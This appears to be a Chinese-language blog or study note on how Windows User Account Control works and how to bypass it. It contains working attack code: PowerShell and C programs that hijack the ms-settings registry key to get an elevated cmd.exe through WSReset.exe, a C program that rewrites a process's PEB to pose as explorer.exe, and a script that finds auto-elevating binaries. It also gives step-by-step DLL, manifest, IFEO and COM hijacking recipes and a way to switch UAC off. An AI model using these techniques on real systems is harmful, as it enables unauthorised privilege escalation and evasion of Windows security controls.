-
UAC 的实现与触发
用户帐户控制 (User Account Control) 是 Windows Vista 之后的版本引进的一种机制。通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
其实就是使用权限提升操作的时候弹出的提示框,如果当前用户所在的用户组没有管理员权限,则需要输入管理员密码(类似 linux 中的 sudo 命令)
其中,如果想获取管理员权限,也就是让程序在特权级下运行,实现的方式有以下几种:通过run as administer/ 在shell中执行run as 未启用UAC 进程拥有管理权限控制 进程被用户允许通过管理员权限运行
会触发 UAC 的具体操作(部分,更多的在这 https://en.wikipedia.org/wiki/User_Account_Control#Tasks_that_trigger_a_UAC_prompt):
配置 Windows Update 增加或删除用户账户(!) 改变用户的账户类型(!) 改变UAC设置(!) 安装ActiveX 安装或移除程序(!) 设置家长控制 将文件移动或复制到 Program Files 或 Windows 目录 查看其他用户文件夹(!)
触发 UAC 的过程:
1.创建一个 consent.exe 进程,该进程通过程序白名单和用户权限,判断是否创建管理员进程。 2.通过 creatprocess 请求进程,将要请求的进程 cmdline 和进程路径通过 LPC 接口传递给 appinfo 的 RAiLuanchAdminProcess 函数。 3.RAiLuanchAdminProcess 首先会检验路径是否在白名单中,并将结果传递给 consent.exe 进程。 4.consent.exe 根据被请求的进程签名以及发起者的权限是否符合要求,决定是否弹出 UAC 框。(这个 UAC 框进程是 SYSTEM 权限,其他普通用户进程无法与其进行通信交互) 5.用户确认之后,就会调用 CreateProcessAsUser 函数以管理员权限启动请求的进程。
-
利用 Shell API
UAC 在 vs 中具体的设置:
aslnvoker 默认权限 highestAvailable 最高权限 requireAdministrator 必须是管理员权限
如果编译设置了 requireAdministrator,用户运行程序后,可以在不触发 UAC 的情况下获得管理员权限的会话。
首先要知道哪些程序是在白名单中,要符合的要求有这些:1. 程序的manifest标识的配置属性 autoElevate 为 true(启动时就静默提升权限)。 2.程序不弹出UAC弹窗 3.从注册表里查询 Shell\Open\command 键值对
用 sigcheck64 过滤一下标识属性 autoElevate 为 true 的属性(脚本来自 mathwizard 师傅)
import os from subprocess import * path = "C:\\Windows\\System32" files = os.listdir(path) print(files) def GetFileList(path, fileList): newDir = path if os.path.isfile(path): if path[-4:] == ".exe": fileList.append(path) elif os.path.isdir(path): try: for s in os.listdir(path): newDir = os.path.join(path, s) GetFileList(newDir, fileList) except Exception as e: pass return fileList files = GetFileList(path, []) print(files) for eachFile in files: if eachFile[-4:] == ".exe": command = r"D:\\tools\\tool\\SysinternalsSuite\sigcheck64.exe -m {} | findstr auto".format(eachFile) print(command) p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE) if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'): copy_command = r'copy {} .\success'.format(eachFile) Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE) print('[+] {}'.format(eachFile)) with open('success.txt', 'at') as f: f.writelines('{}\n'.format(eachFile))
最后得到符合条件的程序清单,然后手动测试哪个不会弹 UAC,这里找到 ComputerDefaults.exe 程序,用于设置默认应用界面。
关于 Shell\Open\command 键值对,以它命名的键值对存储的是可执行文件的路径,如果 exe 程序运行的时候找到该键值对,就会运行该键值对指向的程序,因为白名单中的 exe 运行的时候是默认提升了权限,那么该键值对指向的程序就过了 UAC,如果把恶意的 exe 写入该键值对,那么当运行白名单中 exe 的时候,就能过 UAC 执行恶意程序。
用 process monitor 设置一下过滤器规则,就可以看到 ComputerDefaults.exe 会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command 中的值
创建一个 HKCU\Software\Classes\ms-settings\Shell\Open\command,再对 omputerDefaults.exe 进行监听,发现还会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute(NAME NOT FOUND),
此时创建一个 DelegateExecute,并将 command 指向我们指定的程序,比如改成 cmd.exe ,此时再运行 C:\Windows\System32\ComputerDefaults.exe,就会弹出一个 system 权限的 cmd 了。
powershell 的实现:<# .SYNOPSIS Fileless UAC Bypass by Abusing Shell API Author: Hashim Jawad of ACTIVELabs .PARAMETER Command Specifies the command you would like to run in high integrity context. .EXAMPLE Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe" This will effectivly start cmd.exe in high integrity context. .NOTES This UAC bypass has been tested on the following: - Windows 10 Version 1803 OS Build 17134.590 - Windows 10 Version 1809 OS Build 17763.316 #> function Invoke-WSResetBypass { Param ( [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe" ) $CommandPath = "HKCU:Software\Classes\ms-settings\Shell\Open\command" $filePath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command" New-Item $CommandPath -Force | Out-Null New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null Write-Host "[+] Registry entry has been created successfully!" $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden Write-Host "[+] Starting WSReset.exe" Write-Host "[+] Triggering payload.." Start-Sleep -Seconds 10 if (Test-Path $filePath) { Remove-Item $filePath -Recurse -Force Write-Host "[+] Cleaning up registry entry" } } IEX Invoke-WSResetBypass;
运行 POWERSHELL -EXECUTIONPOLICY BYPASS -FILE C:\Users\Alice\Desktop\BypassUAC.ps1,成功执行了 WSReset.exe
c 语言实现#include <stdio.h> #include <Windows.h> int main(void) { LPCWSTR regname = L"Software\\Classes\\ms-settings\\Shell\\Open\\command"; HKEY hkResult = NULL; const wchar_t* payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe"; DWORD Len = wcslen(payload) * 2 + 2; int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult); ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len); if (ret == 0) { printf("success to write run key\n"); RegCloseKey(hkResult); } else { printf("failed to open regedit.%d\n", ret); return 0; } printf("Starting WSReset.exe"); system("C://Windows//System32//WSReset.exe"); return 0; }
-
伪装白名单
直接将恶意程序伪装成白名单中的程序,方法就是伪装进程的 PEB。
PEB 结构(Process Envirorment Block Structure),进程环境信息块,通过修改目标进程的 PEB 结构中的路径信息和命令行信息为想要伪装的对象的信息,就可以将目标进程伪装成目标进程。
要实现改过程,首先用 NtQueryInformationProcess 函数获取指定进程的 PEB 地址,结构如下:
typedef struct _PROCESS_BASIC_INFORMATION { PVOID Reserved1; PPEB PebBaseAddress; //peb的基地址,实际上是一个 _PEB 结构体的指针 PVOID Reserved2[2]; ULONG_PTR UniqueProcessId; PVOID Reserved3; } PROCESS_BASIC_INFORMATION;
_PEB:
typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; //被调试状态 BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 进程参数信息 BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; } PEB, *PPEB;
其中 PRTL_USER_PROCESS_PARAMETERS 的结构:
typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
重点关注 ImagePathName 和 CommandLine,也就是 UNICODE_STRING 结构体
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING;
要用到的几个函数:
BOOL ReadProcessMemory( _In_ HANDLE hProcess, // 进程句柄 _In_ LPCVOID lpBaseAddress, // 读取基址 指向指定进程空间 _Out_ LPVOID lpBuffer, // 接收缓存 _In_ SIZE_T nSize, // 读取大小 _Out_opt_ SIZE_T *lpNumberOfBytesRead // 接收数据的实际大小 可以设置为NULL ); BOOL WriteProcessMemory( _In_ HANDLE hProcess, // 进程句柄 INVALID_HANDLE_VALUE表示自身进程 _In_ LPVOID lpBaseAddress, // 写入内存首地址 _Out_ LPCVOID lpBuffer, // 指向欲写入的数据 _In_ SIZE_T nSize, // 写入大小 _Out_opt_ SIZE_T *lpNumberOfBytesWritten // 接收实际写入大小 可以设置为NULL );
现在我们已经学会 1+1,接着就可以开始造火箭了
#include <stdio.h> #include <Windows.h> #include <winternl.h> //PEB Structures, NtQueryInformationProcess #include <TlHelp32.h> //prepare for call NtQueryInformationProcess func typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL ); // modify ImagePathName and CommandLine in PEB of specific process BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) { // get handle of process /* OpenProcess(访问权限, 进程句柄是否被继承, 要被打开的进程PID) */ HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (hProcess == NULL) { printf("Open Process error!"); return FALSE; } // prepare for getting PEB typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL; PROCESS_BASIC_INFORMATION pbi = { 0 }; PEB peb = { 0 }; RTL_USER_PROCESS_PARAMETERS Param = { 0 }; USHORT usCmdLen = 0; USHORT usPathLen = 0; const WCHAR* NTDLL = L"ntdll.dll"; //NtQueryInformationProcess这个函数没有关联的导入库,必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址 NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess"); if (NULL == NtQueryInformationProcess) { printf("GetProcAddress Error"); return FALSE; } // get status of specific process NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); if (!NT_SUCCESS(status)) { printf("NtQueryInformationProcess failed"); return FALSE; } // get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); // get ProcessParameters in PEB of process ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL); // modify cmdline data usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL); WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL); // modify path data usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL); WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL); return TRUE; } // get PID by ProcessName DWORD FindProcId(const WCHAR* ProcName) { DWORD ProcId = 0; // target procId PROCESSENTRY32 pe32 = { 0 }; // to get snapshot structure pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list if (hProcessShot == INVALID_HANDLE_VALUE) { puts("get proc list error"); return 0; } BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list // compare proc name and get correct process Id while (cProc) { if (wcscmp(pe32.szExeFile, ProcName) == 0) { ProcId = pe32.th32ProcessID; break; } cProc = Process32Next(hProcessShot, &pe32); } return ProcId; } int main() { const WCHAR* ProcessName = L"Calculator.exe"; do { DWORD dwTargetId = FindProcId(ProcessName); if (0 == dwTargetId) { printf("can not find procIdn"); break; } if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE")) { printf("Dsisguise Process Error."); break; } printf("Disguise Process OK."); } while (FALSE); system("pause"); return 0; }
执行前先开一个 calc,程序运行后,会将 Calculator.exe 的 cmdline 和 imagepath 修改为指定进程的。
-
DLL 劫持
DLL加载顺序劫持
原理见 dll 劫持那一篇。在 C:\Windows\System32 中易受到劫持的有
详细的在 https://github.com/wietze/windows-dll-hijacking/ 中使用 manifest 文件进行 dll 劫持
manifest 文件是微软为修复一次由 DLL 加载顺序劫持导致的 Bypass UAC 时自己暴露出来的一种 Bypass UAC 的可行方案。
在 XP 之前的 windows,exe 会顺序加载 dll,但在 XP 之后,则会首先读取mamifest,获得 exe 需要调用的 dll 列表,操作系统再根据 manifest 提供的信息去寻找对应的 dll。
Bypass UAC 过程:1.先从 C:\windows\system32 中拷贝 taskhost.exe 到 %temp%\ 临时目录下,再利用高权限进程把 taskhost.exe 拷贝到 C:\windows 下 2.在C:\windows\system32\sysprep下写一个cryptbase.dll,并将payload注入到cryptbase.dll中 3.在C:\windows下写入taskhost.exe.manifest文件.由于taskhost.exe无内置清单文件,所以会从manifest中指定的路径加载DLL即C:\Windows\system32\sysprep\cryptbase.DLL
但很尴尬的问题是低权限怎样向系统目录写文件而不触发 UAC,在 UACME 项目中通过 IFileOperation COM 对象实现。IFileOperation COM 对象进行文件操作可以自动特省权限(AutoElevate),但需要检测当前使用该 COM 对象的进程是否位白名单进程。
通过代码注入绕过 UAC
具体原理见 DLL 注入学习记录
关闭 UAC 机制
利用一个 ISecurityEditor COM 对象, 也是一个 AutoElevate 的 COM 对象,在白名单进程中使用可以自动提升权限。
这个对象可以用于修改注册表访问权限,可修改 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 进程为可写,然后将 EnableLUA 置为 0,即可关闭 UAC(重启生效)使用注册表制定程序加载DLL
同样使用 ISecurityEditor COM 对象,在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 表项后添加 cliconfg.exe,在子项中添加
GlobalFlag REG_DWORD 0x0000100 VerifierDlls REG_SZ Hibiki.dll
其中 Hibiki.dll 是恶意 dll,放在 C:\Windows\system32 下,然后运行 cliconfg.exe 就能以管理员权限运行 Hiibiki.dll,绕过 UAC。
以上的技术本质上都是 dll 劫持的利用。 -
利用 COM 接口
com 组件本质上是二进制文件 ( dll,exe, 在 windows 系统内 ),其调用方法与 c++ 的类相似,程序可以通过被称为 CLSID ( 全局标识符 )作为索引在注册表内找到具体的二进制文件。
windows 提供了一种 com 组件提权的方法,为方便开发,当这种提权方法的调用者是拥有微软签名的合法程序时(白名单),会忽略 UAC 弹窗(这个过程通过校验 PEB 实现)。
除了前面提到过的 com 组件,还有一个名为 ICMLuaUtil 的接口,这个接口提供一个名为 ShellExec 的方法,可以执行任意传入的命令。劫持 COM 组件
和 dll 劫持类似,程序运行时也会加载指定的 CLSID 的 COM 组件,其加载顺序如下
HKCU\Software\Classes\CLSID HKCR\CLSID HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
CLSID 下有两个键名:InprocHandler32 和 InprocServer32:
InprocHandler32:指定应用程序使用的自定义处理程序 InprocServer32:注册32位进程所需要的模块、线程属性配置
那么可以通过在 COM 组件注册表下创建 InprocServer32 键值并将其指向恶意 dll 来实现 COM 组件劫持。
UACME 中的实现流程:1.将payload DLL先复制到temp下 2.在CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}下创建InprocServer32并将值指向刚刚解压出来的dll文件,ThreadingModel的值为Apartment 3.创建ShellFolder,把HideOnDesktopPerUser值改为空,把Attributes值改为0xF090013D,这是”combination of SFGAO flags” 4.用mmc.exe运行eventvwr.msc,即可完成劫持 5.清理注册表
-
参考文献